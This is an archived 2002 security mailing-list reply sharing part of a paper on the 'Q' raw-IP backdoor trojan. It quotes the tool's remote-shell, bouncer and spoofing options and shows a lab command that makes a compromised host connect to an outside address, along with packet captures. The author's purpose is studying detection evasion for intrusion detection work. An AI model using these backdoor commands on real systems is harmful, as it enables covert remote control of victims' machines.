Jeremy, Here is part of a paper I recently wrote talking about "rawIP" Trojans. The "Q" trojan should be exactly what you are looking for in regards to a covert communications channel. It is written by "mixter" and on his site he also has a paper detailing how to use rawIP in programming. http://mixter.void.ru/ Hope this helps, Craig Baltes Senior Information Security Analyst LURHQ corp craigat_private ********************************** Raw IP Trojans Working on this paper has brought me into contact with a program and a concept that has real possibility for defeating a NIDS easily. The “Q“ Trojan by Mixter is a great example of a “Raw IP“ Trojan. Rather than create a listener and use a standard client/server configuration the “Q“ Trojan looks for raw IP packets that match a specific parameter. The data of these packets will contain encrypted instructions that the “Q“ daemon will perform. The following is a list of functions contained in the current version of “Q“ (2.4) quoted from the README of the program: “RawIP Server Controller (qs) options: qs -C "command" server.com - Execute remote shell commands. The command can be any line that you could type on a shell, including system programs. qs -p port -S server.com - Make the server open an encrypted shell that you connect to with 'q', listening on the port specified with -p qs -p port -B "relay.com dport" server.com - Make the server open an encrypted bouncer on the specified port. If you connect to it, it will relay you to dport on relay.com. qs -U 99 server.com - All bouncer processes will be run under user id 99. qs -P /sbin/sash server.com - All encrypted shells will now use /sbin/sash as user shell instead of the default shell. qs -p port - This option specifies the destination port that a shell/bouncer server will listen on. qs -n - If you specify the -n option, the server will spawn a *NORMAL* shell or bouncer, running without any encryption at all, so that all clients can connect. These sessions are depreceated, you should use TRANSD mode instead. qs -i I or U or T - Chose a protocol, ICMP UDP or TCP for the RawIP activation packet. Only necessary if you need to use a specific protocol to bypass a firewall. qs -a authid - Same usage as q (both qs and q connections use CSA). qs -s source ip - Specify your source IP, else it will be random (only useful to bypass routing filters and firewalls). qs <command> targets - qs can message an unlimited amount of targets at once. You specify the target hosts/ip as the last arguments. Ex.: qs -C "shutdown -r now" fbi.gov cia.gov nsa.gov“ Here is an example of the "Q" Trojan at work on a real network. 10.0.0.2 is a Mandrake Linux version 8.2 system that has the "Q" daemon running (qd). 10.0.0.1 is a RedHat Linux version 7.3 system that I compiled the client/server package on and am using as the client. When designating a target or my commands I will use 1.2.3.4 as the IP address. This is the output from the client: [root@localhost Q2.4]# qs -C "telnet 1.2.3.4 31337" 10.0.0.2 [*] request: execute command 'telnet 1.2.3.4 31337' [*] sending control packet to 10.0.0.2 (encrypted) [root@localhost Q2.4]# This is the output from a tcpdump: [root@localhost Q2.4]# tcpdump -n -s0 -X -i eth0 not arp tcpdump: listening on eth0 19:31:01.125611 216.127.166.0.1947 > 10.0.0.2.48017: S 0:148(148) ack 15487956 win 7678 0x0000 4500 00a8 fae3 0000 ca06 6cea d87f a600 E.........l..... 0x0010 0a00 0002 079b bb91 0000 0000 00ec 53d4 ..............S. 0x0020 0012 1dfe d35c 0000 4449 7a36 5a4e 705a .....\..DIz6ZNpZ 0x0030 3374 396e 5763 6272 5437 5372 324a 7641 3t9nWcbrT7Sr2JvA 0x0040 414e 6c48 6d57 2f68 7757 4144 3143 3963 ANlHmW/hwWAD1C9c 0x0050 4451 3062 6672 3056 7367 5843 624f 6c4b DQ0bfr0VsgXCbOlK 0x0060 662f 6e48 6e61 582f 302b 5255 522b 4877 f/nHnaX/0+RUR+Hw 0x0070 6431 7775 4d33 4c4e 686e 3067 2f49 4833 d1wuM3LNhn0g/IH3 0x0080 374f 676b 4e58 3971 754f 6662 4c74 3263 7OgkNX9quOfbLt2c 0x0090 6147 6178 7253 736b 7359 7034 642f 5639 aGaxrSsksYp4d/V9 0x00a0 4257 526e 6849 5875 BWRnhIXu 19:31:01.169462 10.0.0.2.1043 > 1.2.3.4.31337: S 539291178:539291178(0) win 5840 <mss 1460,sackOK,timestamp 2015017 0,nop,wscale 0> (DF) [tos 0x10] 0x0000 4510 003c 5103 4000 4006 dba1 0a00 0002 E..<Q.@.@....... 0x0010 0102 0304 0413 7a69 2024 ee2a 0000 0000 ......zi.$.*.... 0x0020 a002 16d0 d71c 0000 0204 05b4 0402 080a ................ 0x0030 001e bf29 0000 0000 0103 0300 ...)........ 4 packets received by filter 0 packets dropped by kernel This is another output from tcpdump when I ran the same "qs" command minutes later: 19:37:55.205588 143.63.86.0.30636 > 10.0.0.2.34916: S 13764962:13765110(148) ack 0 win 41869 0x0000 4500 00a8 d189 0000 f506 0485 8f3f 5600 E............?V. 0x0010 0a00 0002 77ac 8864 00d2 0962 0000 0000 ....w..d...b.... 0x0020 0012 a38d c9a5 0000 7056 796a 374b 4d73 ........pVyj7KMs 0x0030 7742 6566 3368 5647 3933 5869 4e70 7641 wBef3hVG93XiNpvA 0x0040 414e 6c48 6d57 2f68 7757 4144 3143 3963 ANlHmW/hwWAD1C9c 0x0050 4451 3062 6672 3056 7367 5843 624f 6c4b DQ0bfr0VsgXCbOlK 0x0060 662f 6e48 6e61 582f 302b 5255 522b 4877 f/nHnaX/0+RUR+Hw 0x0070 6431 7775 4d33 4c4e 686e 3067 2f49 4833 d1wuM3LNhn0g/IH3 0x0080 374f 676b 4e58 3971 754f 6662 4c74 3263 7OgkNX9quOfbLt2c 0x0090 6147 6178 7253 736b 7359 7034 642f 5639 aGaxrSsksYp4d/V9 0x00a0 4257 526e 6849 5875 BWRnhIXu 19:37:55.247334 10.0.0.2.1044 > 1.2.3.4.31337: S 969778169:969778169(0) win 5840 <mss 1460,sackOK,timestamp 2056423 0,nop,wscale 0> (DF) [tos 0x10] 0x0000 4510 003c c31e 4000 4006 6986 0a00 0002 E..<..@.@.i..... 0x0010 0102 0304 0414 7a69 39cd a3f9 0000 0000 ......zi9....... 0x0020 a002 16d0 65e5 0000 0204 05b4 0402 080a ....e........... 0x0030 001f 60e7 0000 0000 0103 0300 ..`......... 4 packets received by filter 0 packets dropped by kernel The first packet that you see in each capture is the RawIP control packet that contains the encrypted commands that I specified in my "qs" command. Without filling up this entire paper with packet captures of this Trojan in action suffice it to say that after extensive testing I have seen the client generate TCP, UDP, and ICMP RawIP control packets and have been able to find no common thread, or mistake that I could use to write a valid NIDS signature. In the captures above you see that the data portion of the RawIP control packet is the same in both captures but that is because the command is the same in both instances. *************************************************** On Wednesday 16 October 2002 06:08 pm, Jeremy Junginger wrote: > Has anyone had success in creating a program that uses IP/TCP/UDP/ICMP > header information to transmit encoded messages from one host to > another? Shortly after reading > http://www.firstmonday.dk/issues/issue2_5/rowland/ I was very tempted to > put together a proof-of-concept program to demonstrate the use of covert > channels (and more imporantly, how they could slip right by the IDS) > with the tools I had on hand. I ended up using nemesis (Thank you Mr. > Grimes), tcpdump, and a little Perl script to kind of piece a tool > together that would transmit encoded (I use that term loosely) ASCII > data within the IP id field of the IP header. It works okay until you > go through a NAT device that decides to change the IPID :) I wondered > if anyone else has attempted to create a similar covert channel, and if > it is even useful when you can potentially encrypt/tunnel many chat > applications over a 3DES tunnel on basically any port in order to > subvert a security policy. > > A penny for your thoughts... > > Jeremy > > > > -- Craig Baltes Senior Information Security Analyst LURHQ corp craigat_private 843-903-4376 x2 ---------------------------------------------------------------------------- This list is provided by the SecurityFocus Security Intelligence Alert (SIA) Service. For more information on SecurityFocus' SIA service which automatically alerts you to the latest security vulnerabilities please see: https://alerts.securityfocus.com/
This archive was generated by hypermail 2b30 : Thu Oct 17 2002 - 07:23:04 PDT